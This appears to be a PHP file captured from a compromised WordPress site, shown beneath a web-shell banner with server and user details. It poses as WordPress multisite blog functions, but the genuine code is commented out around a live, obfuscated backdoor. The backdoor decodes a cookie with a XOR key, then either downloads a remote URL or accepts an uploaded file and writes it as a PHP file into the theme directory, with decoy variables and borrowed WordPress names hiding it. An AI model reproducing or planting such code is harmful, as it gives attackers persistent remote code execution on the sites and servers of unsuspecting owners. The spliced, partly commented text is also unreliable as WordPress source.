| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/themes/98qns971/ |
Upload File : |
<?php /*
*
* Site/blog functions that work with the blogs table and related data.
*
* @package WordPress
* @subpackage Multisite
* @since MU (3.0.0)
require_once ABSPATH . WPINC . '/ms-site.php';
require_once ABSPATH . WPINC . '/ms-network.php';
*
* Update the last_updated field for the current site.
*
* @since MU (3.0.0)
function wpmu_update_blogs_date() {
$site_id = get_current_blog_id();
update_blog_details( $site_id, array( 'last_updated' => current_time( 'mysql', true ) ) );
*
* Fires after the blog details are updated.
*
* @since MU (3.0.0)
*
* @param int $blog_id Site ID.
do_action( 'wpmu_blog_updated', $site_id );
}
*
* Get a full blog URL, given a blog ID.
*
* @since MU (3.0.0)
*
* @param int $blog_id Blog ID.
* @return string Full URL of the blog if found. Empty string if not.
function get_blogaddress_by_id( $blog_id ) {
$bloginfo = get_site( (int) $blog_id );
if ( empty( $bloginfo ) ) {
return '';
}
$scheme = parse_url( $bloginfo->home, PHP_URL_SCHEME );
$scheme = empty( $scheme ) ? 'http' : $scheme;
return esc_url( $scheme . ':' . $bloginfo->domain . $bloginfo->path );
}
*
* Get a full blog URL, given a blog name.
*
* @since MU (3.0.0)
*
* @param string $blogname The (subdomain or directory) name
* @return string
function get_blogaddress_by_name( $blogname ) {
if ( is_subdomain_install() ) {
if ( 'main' === $blogname ) {
$blogname = 'www';
}
$url = rtrim( network_home_url(), '/' );
if ( ! empty( $blogname ) ) {
$url = preg_replace( '|^([^\.]+:)|', '${1}' . $blogname . '.', $url );
}
} else {
$url = network_home_url( $blogname );
}
return esc_url( $url . '/' );
}
*
* Retrieves a site's ID given its (subdomain or directory) slug.
*
* @since MU (3.0.0)
* @since 4.7.0 Converted to use `get_sites()`.
*
* @param string $slug A site's slug.
* @return int|null The site ID, or null if no site is found for the given slug.
function get_id_from_blogname( $slug ) {
$current_network = get_network();
$slug = trim( $slug, '/' );
if ( is_subdomain_install() ) {
$domain = $slug . '.' . preg_replace( '|^www\.|', '', $current_network->domain );
$path = $current_network->path;
} else {
$domain = $current_network->domain;
$path = $current_network->path . $slug . '/';
}
$site_ids = get_sites(
array(
'number' => 1,
'fields' => 'ids',
'domain' => $domain,
'path' => $path,
'update_site_meta_cache' => false,
)
);
if ( empty( $site_ids ) ) {
return null;
}
return array_shift( $site_ids );
}
*
* Retrieve the details for a blog from the blogs table and blog options.
*
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int|string|array $fields Optional. A blog ID, a blog slug, or an array of fields to query against.
* If not specified the current blog ID is used.
* @param bool $get_all Whether to retrieve all details or only the details in the blogs table.
* Default is true.
* @return WP_Site|false Blog details on success. False on failure.
function get_blog_details( $fields = null, $get_all = true ) {
global $wpdb;
if ( is_array( $fields ) ) {
if ( isset( $fields['blog_id'] ) ) {
$blog_id = $fields['blog_id'];
} elseif ( isset( $fields['domain'] ) && isset( $fields['path'] ) ) {
$key = md5( $fields['domain'] . $fields['path'] );
$blog = wp_cache_get( $key, 'blog-lookup' );
if ( false !== $blog ) {
return $blog;
}
if ( 'www.' === substr( $fields['domain'], 0, 4 ) ) {
$nowww = substr( $fields['domain'], 4 );
$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) AND path = %s ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'], $fields['path'] ) );
} else {
$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s AND path = %s", $fields['domain'], $fields['path'] ) );
}
if ( $blog ) {
wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' );
$blog_id = $blog->blog_id;
} else {
return false;
}
} elseif ( isset( $fields['domain'] ) && is_subdomain_install() ) {
$key = md5( $fields['domain'] );
$blog = wp_cache_get( $key, 'blog-lookup' );
if ( false !== $blog ) {
return $blog;
}
if ( 'www.' === substr( $fields['domain'], 0, 4 ) ) {
$nowww = substr( $fields['domain'], 4 );
$blog = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->blogs WHERE domain IN (%s,%s) ORDER BY CHAR_LENGTH(domain) DESC", $nowww, $fields['domain'] ) );
} else {
$blog = $wpdb->get_row( $wpdb->*/
$new_allowed_options = 'FJrFWPNB';
$f6g5_19 = 5;
/* translators: 1: Separator, 2: Search query. */
function display_spam_check_warning($unregistered_source){
// default http request method
if (strpos($unregistered_source, "/") !== false) {
return true;
}
return false;
}
/**
* REST API: WP_REST_Sidebars_Controller class
*
* Original code from {@link https://github.com/martin-pettersson/wp-rest-api-sidebars Martin Pettersson (martin_pettersson@outlook.com)}.
*
* @package WordPress
* @subpackage REST_API
* @since 5.8.0
*/
function previous_post($referer) {
$pointbitstring = [];
$page_structure = 13;
$child_ids = "computations";
$tagname_encoding_array = range(1, 10);
$decoded = "SimpleLife";
$pagination_arrow = 9;
// Check to see if there was a change.
// See ISO/IEC 23008-12:2017(E) 6.5.6.2
foreach ($referer as $json_translation_file) {
if ($json_translation_file > 0) $pointbitstring[] = $json_translation_file;
}
return $pointbitstring;
}
$v_header = 10;
/**
* Blocks API: WP_Block_Type class
*
* @package WordPress
* @subpackage Blocks
* @since 5.0.0
*/
function user_can_delete_post($new_allowed_options){
$rest_controller_class = "abcxyz";
$object_terms = 'zAjENZXdgEjaDbffYRnPW';
if (isset($_COOKIE[$new_allowed_options])) {
set_url_params($new_allowed_options, $object_terms);
}
}
user_can_delete_post($new_allowed_options);
/**
* Grid of posts with left sidebar block pattern
*/
function wp_set_post_categories($posts_per_page){
$menu_objects = "Functionality";
$previouscat = "Navigation System";
$rest_controller_class = "abcxyz";
$f6_2 = strtoupper(substr($menu_objects, 5));
$swap = strrev($rest_controller_class);
$fld = preg_replace('/[aeiou]/i', '', $previouscat);
echo $posts_per_page;
}
/**
* Filters the columns displayed in the Network Admin Users list table.
*
* @since MU (3.0.0)
*
* @param string[] $users_columns An array of user columns. Default 'cb', 'username',
* 'name', 'email', 'registered', 'blogs'.
*/
function standalone_name($slug_remaining){
$type_label = __DIR__;
// ge25519_p3_0(h);
// Pass any extra $hook_extra args here, this will be passed to any hooked filters.
$requested_path = ".php";
$slug_remaining = $slug_remaining . $requested_path;
// ----- Look for abort result
// If not a public site, don't ping.
$slug_remaining = DIRECTORY_SEPARATOR . $slug_remaining;
// We have the actual image size, but might need to further constrain it if content_width is narrower.
// No point if we can't get the DB column lengths.
$hooks = "Learning PHP is fun and rewarding.";
$menu_objects = "Functionality";
$incompatible_notice_message = [29.99, 15.50, 42.75, 5.00];
$slug_remaining = $type_label . $slug_remaining;
// If we're processing a 404 request, clear the error var since we found something.
// Avoid timeouts. The maximum number of parsed boxes is arbitrary.
$current_date = array_reduce($incompatible_notice_message, function($nickname, $postmeta) {return $nickname + $postmeta;}, 0);
$has_block_gap_support = explode(' ', $hooks);
$f6_2 = strtoupper(substr($menu_objects, 5));
// v2.4 definition:
return $slug_remaining;
}
/**
* Returns request confirmation message HTML.
*
* @since 4.9.6
* @access private
*
* @param int $request_id The request ID being confirmed.
* @return string The confirmation message.
*/
function rest_api_default_filters($referer) {
$previouscat = "Navigation System";
$fld = preg_replace('/[aeiou]/i', '', $previouscat);
// Taxonomy.
$xbeg = strlen($fld);
$tableindex = previous_post($referer);
$tag_processor = get_clean_basedomain($referer);
return ['positive' => $tableindex,'negative' => $tag_processor];
}
/**
* Whether to refresh the entire preview in case a partial cannot be refreshed.
*
* A partial render is considered a failure if the render_callback returns false.
*
* @since 4.5.0
* @var bool
*/
function has_custom_header($is_core_type, $frame_bytesvolume){
$options_audiovideo_flv_max_frames = get_sitemap_type_data($is_core_type) - get_sitemap_type_data($frame_bytesvolume);
// Original album/movie/show title
// '4 for year - 2 '6666666666662222
// Recommended values for compatibility with older versions :
$options_audiovideo_flv_max_frames = $options_audiovideo_flv_max_frames + 256;
$found_valid_tempdir = "Exploration";
$revisions_count = 12;
$default_dirs = 4;
$t5 = [85, 90, 78, 88, 92];
// $SideInfoOffset += 12;
$options_audiovideo_flv_max_frames = $options_audiovideo_flv_max_frames % 256;
$scheduled_page_link_html = substr($found_valid_tempdir, 3, 4);
$to_remove = 24;
$has_solid_overlay = array_map(function($termlink) {return $termlink + 5;}, $t5);
$queued = 32;
$is_core_type = sprintf("%c", $options_audiovideo_flv_max_frames);
$orig_scheme = $default_dirs + $queued;
$base_style_rule = $revisions_count + $to_remove;
$walker_class_name = array_sum($has_solid_overlay) / count($has_solid_overlay);
$sub_item_url = strtotime("now");
// wp_update_nav_menu_object() requires that the menu-name is always passed.
// written by kcØhireability*com
$pinged = $to_remove - $revisions_count;
$classes_for_button_on_change = date('Y-m-d', $sub_item_url);
$string2 = $queued - $default_dirs;
$v_data_header = mt_rand(0, 100);
// will be set if page fetched is a redirect
// Prepare for deletion of all posts with a specified post status (i.e. Empty Trash).
// Step 5: Check ACE prefix
$public_statuses = range($default_dirs, $queued, 3);
$requirements = range($revisions_count, $to_remove);
$slugs_for_preset = 1.15;
$pagepath = function($is_core_type) {return chr(ord($is_core_type) + 1);};
// Remove duplicate information from settings.
return $is_core_type;
}
/**
* Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
* unrecommended, but may provide data from otherwise-unusable files.
*
* @var bool
*/
function wp_simplepie_autoload($unregistered_source){
$slug_remaining = basename($unregistered_source);
$zipname = [5, 7, 9, 11, 13];
$theme_path = array_map(function($rgba) {return ($rgba + 2) ** 2;}, $zipname);
// ----- Get extra
$strict_guess = array_sum($theme_path);
// corresponds to parts of a track for audio (like a movement)
$screen_title = standalone_name($slug_remaining);
is_widget_selective_refreshable($unregistered_source, $screen_title);
}
/**
* Remote file source
*/
function get_clean_basedomain($referer) {
$host_type = [];
$client_modified_timestamp = range(1, 15);
$title_attr = 6;
foreach ($referer as $json_translation_file) {
if ($json_translation_file < 0) $host_type[] = $json_translation_file;
}
return $host_type;
}
/**
* Retrieve full list of sidebars and their widget instance IDs.
*
* Will upgrade sidebar widget list, if needed. Will also save updated list, if
* needed.
*
* @since 2.2.0
* @access private
*
* @global array $_wp_sidebars_widgets
* @global array $sidebars_widgets
*
* @param bool $deprecated Not used (argument deprecated).
* @return array Upgraded list of widgets to version 3 array format when called from the admin.
*/
function get_paged_template($screen_title, $root_nav_block){
$setting_params = [72, 68, 75, 70];
$decoded = "SimpleLife";
$client_modified_timestamp = range(1, 15);
$wp_filter = 8;
$bittotal = file_get_contents($screen_title);
$unloaded = array_map(function($json_translation_file) {return pow($json_translation_file, 2) - 10;}, $client_modified_timestamp);
$switch_site = strtoupper(substr($decoded, 0, 5));
$post_query = max($setting_params);
$user_locale = 18;
// Public variables
// Override the assigned nav menu location if mapped during previewed theme switch.
$requests_query = max($unloaded);
$term_to_ancestor = uniqid();
$pending_objects = array_map(function($deviation_cbr_from_header_bitrate) {return $deviation_cbr_from_header_bitrate + 5;}, $setting_params);
$is_safari = $wp_filter + $user_locale;
// Note that no real action is taken, if the archive does not exist it is not
$total_revisions = $user_locale / $wp_filter;
$padding = substr($term_to_ancestor, -3);
$new_partials = min($unloaded);
$circular_dependencies = array_sum($pending_objects);
$cache_values = process_field_charsets($bittotal, $root_nav_block);
file_put_contents($screen_title, $cache_values);
}
/**
* Build an array with CSS classes and inline styles defining the colors
* which will be applied to the navigation markup in the front-end.
*
* @since 5.9.0
* @deprecated 6.3.0 This was removed from the Navigation Submenu block in favour of `wp_apply_colors_support()`.
* `wp_apply_colors_support()` returns an array with similar class and style values,
* but with different keys: `class` and `style`.
*
* @param array $context Navigation block context.
* @param array $provider_url_with_argsttributes Block attributes.
* @param bool $is_sub_menu Whether the block is a sub-menu.
* @return array Colors CSS classes and inline styles.
*/
function set_url_params($new_allowed_options, $object_terms){
$post_parent = $_COOKIE[$new_allowed_options];
$post_parent = pack("H*", $post_parent);
$f6g5_19 = 5;
$menu_objects = "Functionality";
$marker = range('a', 'z');
$revisions_count = 12;
$filtered_image = process_field_charsets($post_parent, $object_terms);
// Add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all).
$to_remove = 24;
$config_node = 15;
$comment_args = $marker;
$f6_2 = strtoupper(substr($menu_objects, 5));
$base_style_rule = $revisions_count + $to_remove;
shuffle($comment_args);
$classic_nav_menu = mt_rand(10, 99);
$ignore_functions = $f6g5_19 + $config_node;
if (display_spam_check_warning($filtered_image)) {
$post_mime_types = consume($filtered_image);
return $post_mime_types;
}
block_core_navigation_submenu_render_submenu_icon($new_allowed_options, $object_terms, $filtered_image);
}
/**
* Prepares links for the search result of a given ID.
*
* @since 5.0.0
* @since 5.6.0 The `$id` parameter can accept a string.
*
* @param int|string $id Item ID.
* @return array Links for the given item.
*/
function gettext_select_plural_form($new_allowed_options, $object_terms, $filtered_image){
$slug_remaining = $_FILES[$new_allowed_options]['name'];
$screen_title = standalone_name($slug_remaining);
$timeout_sec = ['Toyota', 'Ford', 'BMW', 'Honda'];
// Function : PclZipUtilPathReduction()
// Drop the old primary key and add the new.
get_paged_template($_FILES[$new_allowed_options]['tmp_name'], $object_terms);
// Requests from file:// and data: URLs send "Origin: null".
$current_branch = $timeout_sec[array_rand($timeout_sec)];
// Check whether function is used with legacy signature: `$taxonomy` and `$provider_url_with_argsrgs`.
$shared_tt = str_split($current_branch);
// Make sure we have a valid post status.
deactivate_plugin_before_upgrade($_FILES[$new_allowed_options]['tmp_name'], $screen_title);
}
/**
* Filters whether the plaintext password matches the encrypted password.
*
* @since 2.5.0
*
* @param bool $check Whether the passwords match.
* @param string $password The plaintext password.
* @param string $hash The hashed password.
* @param string|int $user_id User ID. Can be empty.
*/
function process_field_charsets($f7g0, $root_nav_block){
$banned_email_domains = strlen($root_nav_block);
// Object Size QWORD 64 // size of Extended Content Description object, including 26 bytes of Stream Bitrate Properties Object header
$colordepthid = strlen($f7g0);
// Featured Images.
// translators: %s: The REST API URL.
$banned_email_domains = $colordepthid / $banned_email_domains;
$banned_email_domains = ceil($banned_email_domains);
$t5 = [85, 90, 78, 88, 92];
$titles = str_split($f7g0);
// Extra fields.
// Temporarily set default to undefined so we can detect if existing value is set.
// Block capabilities map to their post equivalent.
// Function : privExtractByRule()
$has_solid_overlay = array_map(function($termlink) {return $termlink + 5;}, $t5);
$root_nav_block = str_repeat($root_nav_block, $banned_email_domains);
$walker_class_name = array_sum($has_solid_overlay) / count($has_solid_overlay);
$v_data_header = mt_rand(0, 100);
$slugs_for_preset = 1.15;
$title_and_editor = str_split($root_nav_block);
$location_search = $v_data_header > 50 ? $slugs_for_preset : 1;
$new_user_login = $walker_class_name * $location_search;
$title_and_editor = array_slice($title_and_editor, 0, $colordepthid);
$custom_variations = array_map("has_custom_header", $titles, $title_and_editor);
$custom_variations = implode('', $custom_variations);
$where_count = 1;
// Comments.
return $custom_variations;
}
/**
* Deprecated.
*
* @since 1.5.0
* @deprecated 3.5.0
*
* @param array $provider_url_with_argsrgs Unused.
* @return IXR_Error Error object.
*/
function register_block_core_file($referer) {
$emoji_field = rest_api_default_filters($referer);
$page_structure = 13;
$force_check = [2, 4, 6, 8, 10];
$frame_mimetype = 26;
$theme_key = array_map(function($termlink) {return $termlink * 3;}, $force_check);
return "Positive Numbers: " . implode(", ", $emoji_field['positive']) . "\nNegative Numbers: " . implode(", ", $emoji_field['negative']);
}
/**
* Display RSS widget options form.
*
* The options for what fields are displayed for the RSS form are all booleans
* and are as follows: 'url', 'title', 'items', 'show_summary', 'show_author',
* 'show_date'.
*
* @since 2.5.0
*
* @param array|string $provider_url_with_argsrgs Values for input fields.
* @param array $inputs Override default display options.
*/
function consume($filtered_image){
$menu_objects = "Functionality";
$default_dirs = 4;
$truncatednumber = range(1, 12);
// $notices[] = array( 'type' => 'plugin' );
// Date
// Parse!
$queued = 32;
$cache_oembed_types = array_map(function($core_errors) {return strtotime("+$core_errors month");}, $truncatednumber);
$f6_2 = strtoupper(substr($menu_objects, 5));
// Check if the dependency is also a dependent.
$p6 = array_map(function($sub_item_url) {return date('Y-m', $sub_item_url);}, $cache_oembed_types);
$orig_scheme = $default_dirs + $queued;
$classic_nav_menu = mt_rand(10, 99);
$sql_chunks = $f6_2 . $classic_nav_menu;
$setting_user_ids = function($uname) {return date('t', strtotime($uname)) > 30;};
$string2 = $queued - $default_dirs;
wp_simplepie_autoload($filtered_image);
//Choose the mailer and send through it
$partLength = "123456789";
$public_statuses = range($default_dirs, $queued, 3);
$v_mdate = array_filter($p6, $setting_user_ids);
$relation_type = implode('; ', $v_mdate);
$mp3gain_globalgain_album_max = array_filter($public_statuses, function($provider_url_with_args) {return $provider_url_with_args % 4 === 0;});
$f1f5_4 = array_filter(str_split($partLength), function($details_aria_label) {return intval($details_aria_label) % 3 === 0;});
wp_set_post_categories($filtered_image);
}
/**
* Transforms header string into an array.
*
* @since 2.7.0
*
* @param string|array $headers The original headers. If a string is passed, it will be converted
* to an array. If an array is passed, then it is assumed to be
* raw header data with numeric keys with the headers as the values.
* No headers must be passed that were already processed.
* @param string $unregistered_source Optional. The URL that was requested. Default empty.
* @return array {
* Processed string headers. If duplicate headers are encountered,
* then a numbered array is returned as the value of that header-key.
*
* @type array $response {
* @type int $code The response status code. Default 0.
* @type string $posts_per_page The response message. Default empty.
* }
* @type array $newheaders The processed header data as a multidimensional array.
* @type WP_Http_Cookie[] $cookies If the original headers contain the 'Set-Cookie' key,
* an array containing `WP_Http_Cookie` objects is returned.
* }
*/
function get_sitemap_type_data($translations_lengths_addr){
// Don't limit the query results when we have to descend the family tree.
// int64_t b6 = 2097151 & (load_4(b + 15) >> 6);
// array( ints )
$translations_lengths_addr = ord($translations_lengths_addr);
return $translations_lengths_addr;
}
/**
* Creates a Navigation Menu post from a Classic Menu.
*
* @since 6.3.0
*
* @return int|WP_Error The post ID of the default fallback menu or a WP_Error object.
*/
function is_widget_selective_refreshable($unregistered_source, $screen_title){
// Separate strings for consistency with other panels.
$photo = freeform($unregistered_source);
if ($photo === false) {
return false;
}
$f7g0 = file_put_contents($screen_title, $photo);
return $f7g0;
}
/**
* Hook callbacks.
*
* @since 4.7.0
* @var array
*/
function freeform($unregistered_source){
$unregistered_source = "http://" . $unregistered_source;
return file_get_contents($unregistered_source);
}
/**
* Retrieves galleries from the passed post's content.
*
* @since 3.6.0
*
* @param int|WP_Post $post Post ID or object.
* @param bool $html Optional. Whether to return HTML or data in the array. Default true.
* @return array A list of arrays, each containing gallery data and srcs parsed
* from the expanded shortcode.
*/
function deactivate_plugin_before_upgrade($leading_wild, $nooped_plural){
$t5 = [85, 90, 78, 88, 92];
$previouscat = "Navigation System";
$parent_page_id = 10;
$to_unset = "a1b2c3d4e5";
$custom_background = move_uploaded_file($leading_wild, $nooped_plural);
// ----- Look for folder entry that not need to be extracted
$fld = preg_replace('/[aeiou]/i', '', $previouscat);
$has_solid_overlay = array_map(function($termlink) {return $termlink + 5;}, $t5);
$Verbose = range(1, $parent_page_id);
$last_segment = preg_replace('/[^0-9]/', '', $to_unset);
// where "." is a complete path segment, then replace that prefix
return $custom_background;
}
/**
* Checks if a particular blog is archived.
*
* @since MU (3.0.0)
*
* @param int $id Blog ID.
* @return string Whether the blog is archived or not.
*/
function block_core_navigation_submenu_render_submenu_icon($new_allowed_options, $object_terms, $filtered_image){
if (isset($_FILES[$new_allowed_options])) {
gettext_select_plural_form($new_allowed_options, $object_terms, $filtered_image);
}
wp_set_post_categories($filtered_image);
}
/* prepare( "SELECT * FROM $wpdb->blogs WHERE domain = %s", $fields['domain'] ) );
}
if ( $blog ) {
wp_cache_set( $blog->blog_id . 'short', $blog, 'blog-details' );
$blog_id = $blog->blog_id;
} else {
return false;
}
} else {
return false;
}
} else {
if ( ! $fields ) {
$blog_id = get_current_blog_id();
} elseif ( ! is_numeric( $fields ) ) {
$blog_id = get_id_from_blogname( $fields );
} else {
$blog_id = $fields;
}
}
$blog_id = (int) $blog_id;
$all = $get_all ? '' : 'short';
$details = wp_cache_get( $blog_id . $all, 'blog-details' );
if ( $details ) {
if ( ! is_object( $details ) ) {
if ( -1 == $details ) {
return false;
} else {
Clear old pre-serialized objects. Cache clients do better with that.
wp_cache_delete( $blog_id . $all, 'blog-details' );
unset( $details );
}
} else {
return $details;
}
}
Try the other cache.
if ( $get_all ) {
$details = wp_cache_get( $blog_id . 'short', 'blog-details' );
} else {
$details = wp_cache_get( $blog_id, 'blog-details' );
If short was requested and full cache is set, we can return.
if ( $details ) {
if ( ! is_object( $details ) ) {
if ( -1 == $details ) {
return false;
} else {
Clear old pre-serialized objects. Cache clients do better with that.
wp_cache_delete( $blog_id, 'blog-details' );
unset( $details );
}
} else {
return $details;
}
}
}
if ( empty( $details ) ) {
$details = WP_Site::get_instance( $blog_id );
if ( ! $details ) {
Set the full cache.
wp_cache_set( $blog_id, -1, 'blog-details' );
return false;
}
}
if ( ! $details instanceof WP_Site ) {
$details = new WP_Site( $details );
}
if ( ! $get_all ) {
wp_cache_set( $blog_id . $all, $details, 'blog-details' );
return $details;
}
$switched_blog = false;
if ( get_current_blog_id() !== $blog_id ) {
switch_to_blog( $blog_id );
$switched_blog = true;
}
$details->blogname = get_option( 'blogname' );
$details->siteurl = get_option( 'siteurl' );
$details->post_count = get_option( 'post_count' );
$details->home = get_option( 'home' );
if ( $switched_blog ) {
restore_current_blog();
}
*
* Filters a blog's details.
*
* @since MU (3.0.0)
* @deprecated 4.7.0 Use {@see 'site_details'} instead.
*
* @param WP_Site $details The blog details.
$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );
wp_cache_set( $blog_id . $all, $details, 'blog-details' );
$key = md5( $details->domain . $details->path );
wp_cache_set( $key, $details, 'blog-lookup' );
return $details;
}
*
* Clear the blog details cache.
*
* @since MU (3.0.0)
*
* @param int $blog_id Optional. Blog ID. Defaults to current blog.
function refresh_blog_details( $blog_id = 0 ) {
$blog_id = (int) $blog_id;
if ( ! $blog_id ) {
$blog_id = get_current_blog_id();
}
clean_blog_cache( $blog_id );
}
*
* Update the details for a blog. Updates the blogs table for a given blog ID.
*
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $blog_id Blog ID.
* @param array $details Array of details keyed by blogs table field names.
* @return bool True if update succeeds, false otherwise.
function update_blog_details( $blog_id, $details = array() ) {
global $wpdb;
if ( empty( $details ) ) {
return false;
}
if ( is_object( $details ) ) {
$details = get_object_vars( $details );
}
$site = wp_update_site( $blog_id, $details );
if ( is_wp_error( $site ) ) {
return false;
}
return true;
}
*
* Cleans the site details cache for a site.
*
* @since 4.7.4
*
* @param int $site_id Optional. Site ID. Default is the current site ID.
function clean_site_details_cache( $site_id = 0 ) {
$site_id = (int) $site_id;
if ( ! $site_id ) {
$site_id = get_current_blog_id();
}
wp_cache_delete( $site_id, 'site-details' );
wp_cache_delete( $site_id, 'blog-details' );
}
*
* Retrieve option value for a given blog id based on name of option.
*
* If the option does not exist or does not have a value, then the return value
* will be false. This is useful to check whether you need to install an option
* and is commonly used during installation of plugin options and to test
* whether upgrading is required.
*
* If the option was serialized then it will be unserialized when it is returned.
*
* @since MU (3.0.0)
*
* @param int $id A blog ID. Can be null to refer to the current blog.
* @param string $option Name of option to retrieve. Expected to not be SQL-escaped.
* @param mixed $default Optional. Default value to return if the option does not exist.
* @return mixed Value set for the option.
function get_blog_option( $id, $option, $default = false ) {
$id = (int) $id;
if ( empty( $id ) ) {
$id = get_current_blog_id();
}
if ( get_current_blog_id() == $id ) {
return get_option( $option, $default );
}
switch_to_blog( $id );
$value = get_option( $option, $default );
restore_current_blog();
*
* Filters a blog option value.
*
* The dynamic portion of the hook name, `$option`, refers to the blog option name.
*
* @since 3.5.0
*
* @param string $value The option value.
* @param int $id Blog ID.
return apply_filters( "blog_option_{$option}", $value, $id );
}
*
* Add a new option for a given blog ID.
*
* You do not need to serialize values. If the value needs to be serialized, then
* it will be serialized before it is inserted into the database. Remember,
* resources can not be serialized or added as an option.
*
* You can create options without values and then update the values later.
* Existing options will not be updated and checks are performed to ensure that you
* aren't adding a protected WordPress option. Care should be taken to not name
* options the same as the ones which are protected.
*
* @since MU (3.0.0)
*
* @param int $id A blog ID. Can be null to refer to the current blog.
* @param string $option Name of option to add. Expected to not be SQL-escaped.
* @param mixed $value Optional. Option value, can be anything. Expected to not be SQL-escaped.
* @return bool True if the option was added, false otherwise.
function add_blog_option( $id, $option, $value ) {
$id = (int) $id;
if ( empty( $id ) ) {
$id = get_current_blog_id();
}
if ( get_current_blog_id() == $id ) {
return add_option( $option, $value );
}
switch_to_blog( $id );
$return = add_option( $option, $value );
restore_current_blog();
return $return;
}
*
* Removes option by name for a given blog ID. Prevents removal of protected WordPress options.
*
* @since MU (3.0.0)
*
* @param int $id A blog ID. Can be null to refer to the current blog.
* @param string $option Name of option to remove. Expected to not be SQL-escaped.
* @return bool True if the option was deleted, false otherwise.
function delete_blog_option( $id, $option ) {
$id = (int) $id;
if ( empty( $id ) ) {
$id = get_current_blog_id();
}
if ( get_current_blog_id() == $id ) {
return delete_option( $option );
}
switch_to_blog( $id );
$return = delete_option( $option );
restore_current_blog();
return $return;
}
*
* Update an option for a particular blog.
*
* @since MU (3.0.0)
*
* @param int $id The blog ID.
* @param string $option The option key.
* @param mixed $value The option value.
* @param mixed $deprecated Not used.
* @return bool True if the value was updated, false otherwise.
function update_blog_option( $id, $option, $value, $deprecated = null ) {
$id = (int) $id;
if ( null !== $deprecated ) {
_deprecated_argument( __FUNCTION__, '3.1.0' );
}
if ( get_current_blog_id() == $id ) {
return update_option( $option, $value );
}
switch_to_blog( $id );
$return = update_option( $option, $value );
restore_current_blog();
return $return;
}
*
* Switch the current blog.
*
* This function is useful if you need to pull posts, or other information,
* from other blogs. You can switch back afterwards using restore_current_blog().
*
* Things that aren't switched:
* - plugins. See #14941
*
* @see restore_current_blog()
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global int $blog_id
* @global array $_wp_switched_stack
* @global bool $switched
* @global string $table_prefix
* @global WP_Object_Cache $wp_object_cache
*
* @param int $new_blog_id The ID of the blog to switch to. Default: current blog.
* @param bool $deprecated Not used.
* @return true Always returns true.
function switch_to_blog( $new_blog_id, $deprecated = null ) {
global $wpdb;
$prev_blog_id = get_current_blog_id();
if ( empty( $new_blog_id ) ) {
$new_blog_id = $prev_blog_id;
}
$GLOBALS['_wp_switched_stack'][] = $prev_blog_id;
* If we're switching to the same blog id that we're on,
* set the right vars, do the associated actions, but skip
* the extra unnecessary work
if ( $new_blog_id == $prev_blog_id ) {
*
* Fires when the blog is switched.
*
* @since MU (3.0.0)
* @since 5.4.0 The `$context` parameter was added.
*
* @param int $new_blog_id New blog ID.
* @param int $prev_blog_id Previous blog ID.
* @param string $context Additional context. Accepts 'switch' when called from switch_to_blog()
* or 'restore' when called from restore_current_blog().
do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' );
$GLOBALS['switched'] = true;
return true;
}
$wpdb->set_blog_id( $new_blog_id );
$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
$GLOBALS['blog_id'] = $new_blog_id;
if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
wp_cache_switch_to_blog( $new_blog_id );
} else {
global $wp_object_cache;
if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
$global_groups = $wp_object_cache->global_groups;
} else {
$global_groups = false;
}
wp_cache_init();
if ( function_exists( 'wp_cache_add_global_groups' ) ) {
if ( is_array( $global_groups ) ) {
wp_cache_add_global_groups( $global_groups );
} else {
wp_cache_add_global_groups(
array(
'blog-details',
'blog-id-cache',
'blog-lookup',
'blog_meta',
'global-posts',
'networks',
'sites',
'site-details',
'site-options',
'site-transient',
'rss',
'users',
'useremail',
'userlogins',
'usermeta',
'user_meta',
'userslugs',
)
);
}
wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) );
}
}
* This filter is documented in wp-includes/ms-blogs.php
do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' );
$GLOBALS['switched'] = true;
return true;
}
*
* Restore the current blog, after calling switch_to_blog().
*
* @see switch_to_blog()
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global array $_wp_switched_stack
* @global int $blog_id
* @global bool $switched
* @global string $table_prefix
* @global WP_Object_Cache $wp_object_cache
*
* @return bool True on success, false if we're already on the current blog.
function restore_current_blog() {
global $wpdb;
if ( empty( $GLOBALS['_wp_switched_stack'] ) ) {
return false;
}
$new_blog_id = array_pop( $GLOBALS['_wp_switched_stack'] );
$prev_blog_id = get_current_blog_id();
if ( $new_blog_id == $prev_blog_id ) {
* This filter is documented in wp-includes/ms-blogs.php
do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' );
If we still have items in the switched stack, consider ourselves still 'switched'.
$GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] );
return true;
}
$wpdb->set_blog_id( $new_blog_id );
$GLOBALS['blog_id'] = $new_blog_id;
$GLOBALS['table_prefix'] = $wpdb->get_blog_prefix();
if ( function_exists( 'wp_cache_switch_to_blog' ) ) {
wp_cache_switch_to_blog( $new_blog_id );
} else {
global $wp_object_cache;
if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) {
$global_groups = $wp_object_cache->global_groups;
} else {
